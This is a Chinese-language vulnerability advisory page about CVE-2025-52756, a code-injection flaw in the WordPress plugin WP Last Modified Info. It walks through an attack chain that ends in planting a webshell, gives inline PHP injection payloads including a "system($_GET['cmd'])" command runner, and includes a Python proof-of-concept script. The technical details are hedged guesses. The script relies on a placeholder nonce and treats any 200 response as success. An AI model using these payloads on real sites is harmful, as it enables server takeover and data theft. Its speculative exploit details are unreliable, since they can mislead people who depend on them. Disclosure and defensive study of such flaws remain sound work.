IPBUF安全漏洞报告
English
CVE-2025-52756 CVSS 7.4 高危

CVE-2025-52756 | WP Last Modified Info 插件代码注入漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-52756
漏洞类型
代码注入/远程代码执行
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sayan Datta WP Last Modified Info (wp-last-modified-info)

相关标签

代码注入远程代码执行WordPress插件漏洞CVE-2025-52756WP Last Modified Info高危漏洞RCEPHP代码注入

漏洞概述

CVE-2025-52756是WordPress插件WP Last Modified Info中的一个严重代码注入漏洞。该插件由Sayan Datta开发,用于在文章中显示最后修改时间信息。漏洞源于插件对用户输入缺乏适当的验证和过滤,攻击者可以通过构造恶意请求注入并执行任意PHP代码。由于该插件拥有超过10万次安装量,此漏洞对大量WordPress网站构成严重威胁。攻击者利用此漏洞可以完全控制受影响的网站服务器,获取敏感数据、安装后门程序或进一步横向渗透。CVSS评分7.4(高危),攻击向量为网络,认证要求低权限,无需用户交互即可实现远程代码执行。

技术细节

该代码注入漏洞存在于WP Last Modified Info插件的设置选项处理逻辑中。插件在处理管理员设置时,直接将用户可控的参数值写入数据库或在页面中输出。攻击者通过构造包含PHP代码的请求参数,利用eval()或类似动态执行函数,在服务器端解析执行恶意代码。攻击流程包括:首先注册低权限账户(默认WordPress允许用户注册),然后通过WordPress的REST API或admin-ajax.php发送包含恶意payload的请求。Payload示例:';phpinfo();// 或使用assert、eval等函数执行系统命令。插件版本1.9.4及以下所有版本均受影响。修复版本应为1.9.5或更高版本,开发者需要在所有用户输入点实施输入验证、使用sanitize_text_field()等WordPress安全函数、避免使用动态代码执行函数。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网上的WordPress网站,识别安装WP Last Modified Info插件的站点
STEP 2
步骤2
注册低权限账户:利用WordPress默认允许的用户注册功能创建普通用户账号
STEP 3
步骤3
获取认证令牌:通过登录获取有效的session cookie和CSRF nonce
STEP 4
步骤4
构造恶意请求:构造包含PHP代码的payload,如';system($_GET['cmd']);//
STEP 5
步骤5
发送注入请求:通过admin-ajax.php或REST API发送恶意数据到插件设置端点
STEP 6
步骤6
代码执行:恶意代码被写入数据库并在页面加载时执行,实现RCE
STEP 7
步骤7
持久化控制:上传webshell或创建后门用户,实现长期服务器控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-52756 PoC - WP Last Modified Info Code Injection # Target: WordPress with wp-last-modified-info plugin <= 1.9.4 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = sys.argv[2] if len(sys.argv) > 2 else 'attacker' password = sys.argv[3] if len(sys.argv) > 3 else 'password123' session = requests.Session() # Step 1: Login to WordPress login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } print('[+] Logging in to WordPress...') login_resp = session.post(login_url, data=login_data) # Step 2: Inject malicious code via plugin settings inject_url = f'{target}/wp-admin/admin-ajax.php' inject_data = { 'action': 'wplm_save_settings', 'wplm_custom_html': "'; phpinfo(); //", # Malicious payload 'nonce': 'attacker_need_to_extract_valid_nonce' } print('[+] Attempting code injection...') try: resp = session.post(inject_url, data=inject_data, timeout=10) if 'phpinfo' in resp.text or resp.status_code == 200: print('[+] Injection successful!') else: print('[-] Injection may have failed') except Exception as e: print(f'[-] Error: {e}') print('[+] Check admin panel for executed code')

影响范围

wp-last-modified-info <= 1.9.4

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时措施:1) 临时禁用WP Last Modified Info插件;2) 通过.htaccess或Nginx配置限制/admin-ajax.php的访问来源;3) 使用Security Headers防止恶意脚本执行;4) 启用WordPress的DISALLOW_FILE_EDIT防止通过后台编辑文件;5) 实施文件完整性监控,及时发现异常文件变更。建议尽快升级到插件最新版本以彻底消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表